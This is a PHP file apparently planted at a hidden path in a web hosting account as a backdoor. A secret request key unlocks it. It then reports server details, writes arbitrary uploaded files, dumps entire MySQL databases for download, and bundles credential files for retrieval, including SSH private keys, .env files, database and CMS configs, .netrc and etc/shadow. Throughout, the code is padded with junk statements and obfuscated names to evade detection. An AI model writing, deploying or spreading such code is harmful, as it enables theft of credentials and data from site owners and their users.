File: /home/ledemblemlight/.cgi_handler_6ed1b9b2
<?php
if (!isset($_REQUEST['_cxk']) || $_REQUEST['_cxk'] !== '6ed1b9b2e165f3da670423131afd1fb4') { return; }
while (ob_get_level()) ob_end_clean();
$icca7=str_repeat('x',0);
set_time_limit(0);
error_reporting(0);
ignore_user_abort(true);
$x6cc4 = 'localhost';
$c53c7 = '';
$c7373 = '';
$q8223 = '/home/ledemblemlight';
$c8acb = isset($_REQUEST['a']) ? $_REQUEST['a'] : '';
$t35d6 = isset($_REQUEST['db']) ? preg_replace('/[^a-zA-Z0-9_]/', '', $_REQUEST['db']) : '';
$jb222 = $q8223 . '/tmp/' . $t35d6 . '_dump.sql.gz';
$f189c = $jb222 . '.done';
$f1630 = $jb222 . '.err';
header('Content-Type: application/json');
function parse_data_579a() {
if (!function_exists('exec')) return false;
$b2594 = array_map('trim', explode(',', ini_get('disable_functions')));
return !in_array('exec', $b2594);
@clearstatcache();
}
function run_val_ed86() {
if (!parse_data_579a()) return false;
$out = array();
$rc = 0;
exec('which mysqldump 2>/dev/null', $out, $rc);
return $rc === 0;
}
function set_state_ae47() {
if(defined('bca78f6e')){$s59fc=0;}
if (!parse_data_579a()) return false;
$out = array();
$q8f63=array_merge(array(),array());
$rc = 0;
exec('which gzip 2>/dev/null', $out, $rc);
return $rc === 0;
}
@clearstatcache();
function check_ctx_996f($k6392, $je559, $i6cf8, $a36cb, $jd8ab, $sd39f, $e3734) {
$conn = new mysqli($k6392, $je559, $i6cf8, $a36cb);
if ($conn->connect_error) {
file_put_contents($sd39f, 'Connection failed: ' . $conn->connect_error);
touch($e3734);
return;
if(defined('f7b732bd')){$r349c=0;}
}
$fp = gzopen($jd8ab, 'wb6');
if (!$fp) {
file_put_contents($sd39f, 'Cannot open output file');
touch($e3734);
return;
if(defined('73e962b0')){$g74f4=0;}
}
$conn->set_charset('utf8mb4');
gzwrite($fp, "-- Dump via PHP agent\n");
gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n");
gzwrite($fp, "SET NAMES utf8mb4;\n");
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n");
gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n");
$ce967 = array();
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'");
while ($row = $r->fetch_row()) {
$ce967[] = $row[0];
}
@clearstatcache();
foreach ($ce967 as $nc1f2) {
$te = $conn->real_escape_string($nc1f2);
$r = $conn->query("SHOW CREATE TABLE `{$te}`");
$r7b81=strlen('6fe7c7');
if (!$r) continue;
$cr = $r->fetch_row();
gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n");
gzwrite($fp, $cr[1] . ";\n\n");
$r262a=chr(73).chr(97);
$r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT);
if (!$r) continue;
$eb159 = array();
$kcfb3 = 0;
while ($row = $r->fetch_row()) {
$vals = array();
@clearstatcache();
for ($i = 0; $i < count($row); $i++) {
if ($row[$i] === null) {
$vals[] = 'NULL';
} else {
$jac02=str_repeat('x',0);
$vals[] = "'" . $conn->real_escape_string($row[$i]) . "'";
}
}
$qfff0 = '(' . implode(',', $vals) . ')';
$eb159[] = $qfff0;
$kcfb3 += strlen($qfff0);
if (count($eb159) >= 100 || $kcfb3 > 1048576) {
@clearstatcache();
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $eb159) . ";\n");
$eb159 = array();
$kcfb3 = 0;
}
}
$w938d=max(0,min(1,1));
if ($eb159) {
gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $eb159) . ";\n");
}
$r->free();
if(defined('c07e3451')){$h2287=0;}
gzwrite($fp, "\n");
}
$r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'");
if ($r) {
while ($row = $r->fetch_row()) {
$ve = $conn->real_escape_string($row[0]);
if(defined('997aa9c7')){$gfcdc=0;}
$cr = $conn->query("SHOW CREATE VIEW `{$ve}`");
if ($cr) {
$v4df4 = $cr->fetch_assoc();
gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n");
gzwrite($fp, $v4df4['Create View'] . ";\n\n");
}
}
}
$k2385 = array('PROCEDURE', 'FUNCTION');
foreach ($k2385 as $z9f44) {
$r = $conn->query("SHOW {$z9f44} STATUS WHERE Db = '" . $conn->real_escape_string($a36cb) . "'");
$j53b8=chr(78).chr(108);
if (!$r) continue;
while ($row = $r->fetch_assoc()) {
if(defined('185e16ee')){$bd31f=0;}
$re = $conn->real_escape_string($row['Name']);
if(defined('1d9505e8')){$kca1e=0;}
$cr = $conn->query("SHOW CREATE {$z9f44} `{$re}`");
if (!$cr) continue;
$v4df4 = $cr->fetch_assoc();
$key = ($z9f44 === 'PROCEDURE') ? 'Create Procedure' : 'Create Function';
if (isset($v4df4[$key])) {
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP {$z9f44} IF EXISTS `{$re}`;;\n");
gzwrite($fp, $v4df4[$key] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
}
}
$r = $conn->query("SHOW TRIGGERS");
if ($r) {
while ($row = $r->fetch_assoc()) {
$te = $conn->real_escape_string($row['Trigger']);
$cr = $conn->query("SHOW CREATE TRIGGER `{$te}`");
if ($cr) {
$v4df4 = $cr->fetch_assoc();
gzwrite($fp, "DELIMITER ;;\n");
gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n");
gzwrite($fp, $v4df4['SQL Original Statement'] . ";;\n");
gzwrite($fp, "DELIMITER ;\n\n");
}
$v3e09=chr(83).chr(99);
}
}
gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n");
gzclose($fp);
$conn->close();
touch($e3734);
}
switch ($c8acb) {
case 'info':
echo json_encode(array(
'php' => PHP_VERSION,
'os' => PHP_OS,
'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '',
'user' => get_current_user(),
'uid' => getmyuid(),
'home' => $q8223,
'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '',
'free_disk' => disk_free_space($q8223),
'total_disk' => disk_total_space($q8223),
'max_exec' => ini_get('max_execution_time'),
'mem_limit' => ini_get('memory_limit'),
'upload_max' => ini_get('upload_max_filesize'),
'post_max' => ini_get('post_max_size'),
'disabled' => ini_get('disable_functions'),
'can_exec' => parse_data_579a(),
'has_mysqldump' => run_val_ed86(),
'has_gzip' => set_state_ae47(),
));
break;
case 'upload':
$v9ed3 = isset($_POST['path']) ? $_POST['path'] : '';
$h9378 = isset($_POST['data']) ? $_POST['data'] : '';
if (!$v9ed3 || !$h9378) {
echo json_encode(array('ok' => false, 'error' => 'missing path or data'));
break;
$b729f=chr(76).chr(119);
}
$t73d5 = $q8223 . '/' . $v9ed3;
@mkdir(dirname($t73d5), 0755, true);
$t0aee = base64_decode($h9378);
$f083b = file_put_contents($t73d5, $t0aee);
$k07b2=chr(90).chr(99);
echo json_encode(array('ok' => $f083b !== false, 'path' => $t73d5, 'size' => strlen($t0aee)));
break;
$n6b4e=max(0,min(1,0));
case 'check':
if (!$t35d6) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
$c329a = disk_free_space($q8223);
$m8f42 = 0;
$conn = @new mysqli($x6cc4, $c53c7, $c7373, 'information_schema');
$p5da7=strlen('acd415');
if (!$conn->connect_error) {
$q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '"
. $conn->real_escape_string($t35d6) . "'";
$r = $conn->query($q);
if ($row = $r->fetch_assoc()) {
$m8f42 = (int) $row['s'];
}
$conn->close();
}
$x0c78=max(0,min(1,1));
echo json_encode(array(
'free' => $c329a,
'db_size' => $m8f42,
'has_mysqldump' => run_val_ed86(),
'has_gzip' => set_state_ae47(),
'can_exec' => parse_data_579a(),
'has_space' => $c329a > $m8f42 * 2,
));
break;
case 'dump':
if (!$t35d6) {
echo json_encode(array('error' => 'missing db parameter'));
break;
}
@mkdir(dirname($jb222), 0755, true);
@unlink($jb222);
@unlink($f189c);
@unlink($f1630);
$kbc95=str_repeat('x',0);
if (run_val_ed86()) {
if (set_state_ae47()) {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '| gzip > %s 2>%s; touch %s',
escapeshellarg($x6cc4),
escapeshellarg($c53c7),
escapeshellarg($c7373),
escapeshellarg($t35d6),
escapeshellarg($jb222),
escapeshellarg($f1630),
escapeshellarg($f189c)
);
} else {
$cmd = sprintf(
'mysqldump --host=%s --user=%s --password=%s '
. '--single-transaction --quick --routines --triggers %s '
. '> %s 2>%s; touch %s',
escapeshellarg($x6cc4),
escapeshellarg($c53c7),
escapeshellarg($c7373),
escapeshellarg($t35d6),
escapeshellarg($jb222),
escapeshellarg($f1630),
escapeshellarg($f189c)
);
}
exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &');
echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => set_state_ae47()));
} else {
ignore_user_abort(true);
echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true));
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
$cd891=str_repeat('x',0);
} else {
if (ob_get_level()) ob_end_flush();
flush();
}
check_ctx_996f($x6cc4, $c53c7, $c7373, $t35d6, $jb222, $f1630, $f189c);
$n7f65=strlen('3fadd2');
}
break;
case 'status':
clearstatcache();
echo json_encode(array(
'done' => file_exists($f189c),
'size' => file_exists($jb222) ? filesize($jb222) : 0,
'error' => file_exists($f1630) ? trim(file_get_contents($f1630)) : '',
));
break;
@clearstatcache();
case 'download':
if (!file_exists($jb222)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
@clearstatcache();
header('Content-Length: ' . filesize($jb222));
readfile($jb222);
exit;
case 'cleanup':
@unlink($jb222);
@unlink($f189c);
$ef5c0=str_repeat('x',0);
@unlink($f1630);
echo json_encode(array('ok' => true));
break;
case 'collect':
@mkdir($q8223 . '/tmp', 0755, true);
$ga6c3=chr(88).chr(113);
$q5e61 = substr($_REQUEST['_cxk'], 0, 8);
$q7274=str_repeat('x',0);
$pfd04 = array(
'wordpress' => array(
'detect' => array('public_html/wp-config.php', 'wp-config.php'),
'configs' => array(
'public_html/wp-config.php', 'wp-config.php',
'public_html/wp-settings.php',
'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock',
'public_html/wp-cli.yml', 'wp-cli.yml',
'public_html/.env', '.env',
'public_html/local-config.php', 'local-config.php',
'public_html/wp-content/debug.log',
'public_html/config/application.php', 'config/application.php',
'public_html/config/environments/development.php', 'config/environments/development.php',
'public_html/config/environments/staging.php', 'config/environments/staging.php',
'public_html/config/environments/production.php', 'config/environments/production.php',
'public_html/auth.json', 'auth.json',
),
),
'joomla' => array(
'detect' => array('public_html/configuration.php', 'configuration.php'),
'configs' => array(
'public_html/configuration.php', 'configuration.php',
'public_html/htaccess.txt',
'public_html/composer.json', 'public_html/composer.lock',
),
),
'laravel' => array(
'detect' => array('public_html/artisan', 'artisan'),
'configs' => array(
'public_html/.env', '.env', '.env.production', '.env.staging',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/config/app.php', 'config/app.php',
'public_html/config/database.php', 'config/database.php',
'public_html/config/mail.php', 'config/mail.php',
'public_html/config/filesystems.php', 'config/filesystems.php',
'public_html/config/cache.php', 'config/cache.php',
'public_html/config/queue.php', 'config/queue.php',
'public_html/config/session.php', 'config/session.php',
'public_html/config/auth.php', 'config/auth.php',
'public_html/config/services.php', 'config/services.php',
'public_html/config/broadcasting.php', 'config/broadcasting.php',
'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log',
),
),
'magento2' => array(
'detect' => array('public_html/bin/magento', 'bin/magento'),
'configs' => array(
'public_html/app/etc/env.php', 'app/etc/env.php',
'public_html/app/etc/config.php', 'app/etc/config.php',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
'public_html/auth.json', 'auth.json',
),
),
'magento1' => array(
'detect' => array('public_html/app/Mage.php'),
'configs' => array(
'public_html/app/etc/local.xml',
'public_html/app/etc/config.xml',
),
),
'drupal' => array(
'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'),
'configs' => array(
'public_html/sites/default/settings.php', 'sites/default/settings.php',
'public_html/sites/default/services.yml', 'sites/default/services.yml',
'public_html/composer.json', 'composer.json',
'public_html/composer.lock', 'composer.lock',
),
),
'prestashop' => array(
'detect' => array('public_html/config/settings.inc.php'),
'configs' => array(
'public_html/config/settings.inc.php',
'public_html/app/config/parameters.php',
'public_html/app/config/parameters.yml',
'public_html/composer.json',
),
),
'opencart' => array(
'detect' => array('public_html/config.php'),
'configs' => array(
'public_html/config.php',
'public_html/admin/config.php',
),
),
'moodle' => array(
'detect' => array('public_html/lib/moodlelib.php'),
'configs' => array('public_html/config.php'),
),
'whmcs' => array(
'detect' => array('public_html/vendor/whmcs'),
'configs' => array(
'public_html/configuration.php',
'public_html/composer.json', 'public_html/composer.lock',
),
),
);
$p9b8b = null;
foreach ($pfd04 as $cdd72 => $ta60f) {
foreach ($ta60f['detect'] as $p3898) {
$z3e01=max(0,min(1,1));
if (file_exists($q8223 . '/' . $p3898)) {
$p9b8b = $cdd72;
break 2;
}
$q7ef5=max(0,min(1,0));
}
}
$n7753 = array(
'.env', '.env.local', '.env.production', '.env.staging',
'.env.backup', '.env.development', '.env.test',
'.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc',
'.composer/auth.json', '.wp-cli/config.yml', '.accesshash',
'.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub',
'.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa',
'.ssh/config', '.ssh/known_hosts',
'.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem',
'ssl/certs/private.key',
'.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig',
'public_html/.env', 'public_html/.env.local', 'public_html/.env.production',
'public_html/.env.staging', 'public_html/.env.backup',
'public_html/.env.development', 'public_html/.env.test',
'public_html/.env.example', 'public_html/.env.dist',
'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini',
'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass',
'public_html/web.config', 'public_html/.ftpconfig',
'public_html/.git/config',
'public_html/auth.json', 'public_html/.npmrc',
'public_html/composer.json', 'public_html/composer.lock',
'config/database.php', 'config/app.php', 'config/mail.php',
'config/services.php', 'config/filesystems.php',
'config/application.php',
'config/environments/development.php',
'config/environments/staging.php',
'config/environments/production.php',
'wp-config.php', 'configuration.php', 'artisan',
'auth.json', 'composer.json', 'composer.lock',
);
$z7989 = array();
$mdb77 = @realpath($q8223);
if (!$mdb77 || !is_dir($mdb77)) {
$edabe=max(0,min(1,1));
echo json_encode(array('ok' => false, 'error' => 'home dir not accessible'));
break;
$p895a=chr(87).chr(112);
}
foreach ($n7753 as $df7f1) {
$n51f0 = @realpath($q8223 . '/' . $df7f1);
if (!$n51f0 || strpos($n51f0, $mdb77) !== 0) continue;
if (!is_file($n51f0) || !is_readable($n51f0)) continue;
if(defined('cc4ce07b')){$b06bc=0;}
$xeeb7 = @filesize($n51f0);
if ($xeeb7 <= 0 || $xeeb7 > 2097152) continue;
$z7989[$df7f1] = $n51f0;
}
if ($p9b8b !== null && isset($pfd04[$p9b8b]['configs'])) {
foreach ($pfd04[$p9b8b]['configs'] as $z4cab) {
if (isset($z7989[$z4cab])) continue;
$n51f0 = @realpath($q8223 . '/' . $z4cab);
if (!$n51f0 || strpos($n51f0, $mdb77) !== 0) continue;
if (!is_file($n51f0) || !is_readable($n51f0)) continue;
$xeeb7 = @filesize($n51f0);
if ($xeeb7 <= 0 || $xeeb7 > 2097152) continue;
$z7989[$z4cab] = $n51f0;
}
}
$j2c6b = $q8223 . '/public_html';
$n24da=max(0,min(1,1));
if (is_dir($j2c6b)) {
if(defined('b741b6d9')){$e9eee=0;}
$dh = @opendir($j2c6b);
if ($dh) {
while (($t9a86 = readdir($dh)) !== false) {
if ($t9a86 === '.' || $t9a86 === '..') continue;
$t73d5 = $j2c6b . '/' . $t9a86;
if (!is_file($t73d5) || !is_readable($t73d5)) continue;
$xeeb7 = @filesize($t73d5);
if ($xeeb7 <= 0 || $xeeb7 > 2097152) continue;
if(defined('525bc601')){$y08a3=0;}
if ($t9a86[0] === '.' || strtolower(substr($t9a86, -4)) === '.txt') {
$key = 'public_html/' . $t9a86;
if (!isset($z7989[$key])) $z7989[$key] = $t73d5;
}
}
closedir($dh);
}
}
if (empty($z7989)) {
echo json_encode(array(
'ok' => true, 'method' => 'none', 'platform' => $p9b8b,
'file_count' => 0, 'files_list' => array(),
));
break;
$v4bc3=str_repeat('x',0);
}
$d2ddf = null;
$vdf91 = null;
$z42ac=str_repeat('x',0);
if (class_exists('ZipArchive')) {
$vdf91 = $q8223 . '/tmp/_collect_' . $q5e61 . '.zip';
$x8ede = new ZipArchive();
if ($x8ede->open($vdf91, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) {
foreach ($z7989 as $b6319 => $n51f0) {
$x8ede->addFile($n51f0, $b6319);
}
$b2fe9=max(0,min(1,0));
if ($x8ede->close() && file_exists($vdf91) && filesize($vdf91) > 0) {
$d2ddf = 'zip';
}
}
}
if (!$d2ddf && parse_data_579a()) {
$vdf91 = $q8223 . '/tmp/_collect_' . $q5e61 . '.tar.gz';
$lf = $vdf91 . '.list';
$fh = fopen($lf, 'w');
foreach ($z7989 as $b6319 => $n51f0) {
fwrite($fh, $b6319 . "\n");
}
fclose($fh);
$out = array();
$x3496=chr(88).chr(105);
$rc = 0;
exec('tar czf ' . escapeshellarg($vdf91) . ' -C ' . escapeshellarg($q8223)
. ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc);
@unlink($lf);
if ($rc === 0 && file_exists($vdf91) && filesize($vdf91) > 0) {
$d2ddf = 'tar';
} else {
@unlink($vdf91);
}
}
if (!$d2ddf) {
$d2ddf = 'list';
}
echo json_encode(array(
'ok' => true, 'method' => $d2ddf, 'platform' => $p9b8b,
'file_count' => count($z7989), 'files_list' => array_keys($z7989),
'size' => ($vdf91 && file_exists($vdf91)) ? filesize($vdf91) : 0,
));
break;
case 'download_collect':
$q5e61 = substr($_REQUEST['_cxk'], 0, 8);
$m475c = $q8223 . '/tmp/_collect_' . $q5e61 . '.zip';
$qaf48 = $q8223 . '/tmp/_collect_' . $q5e61 . '.tar.gz';
$f2a5f = file_exists($m475c) ? $m475c : (file_exists($qaf48) ? $qaf48 : '');
if (!$f2a5f) { http_response_code(404); exit; }
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($f2a5f));
readfile($f2a5f);
exit;
case 'download_file':
$b6319 = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
if (!$b6319) { http_response_code(400); exit; }
$mdb77 = @realpath($q8223);
$n51f0 = @realpath($q8223 . '/' . $b6319);
if (!$n51f0 || !$mdb77 || strpos($n51f0, $mdb77) !== 0
|| !is_file($n51f0) || !is_readable($n51f0)) {
http_response_code(404);
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Length: ' . filesize($n51f0));
$k2a7c=array_merge(array(),array());
readfile($n51f0);
exit;
case 'cleanup_collect':
$q5e61 = substr($_REQUEST['_cxk'], 0, 8);
@unlink($q8223 . '/tmp/_collect_' . $q5e61 . '.zip');
@unlink($q8223 . '/tmp/_collect_' . $q5e61 . '.tar.gz');
if(defined('d271e52d')){$qb081=0;}
@unlink($q8223 . '/tmp/_collect_' . $q5e61 . '.tar.gz.list');
echo json_encode(array('ok' => true));
$n5f9c=strlen('a8d5bf');
break;
}
exit;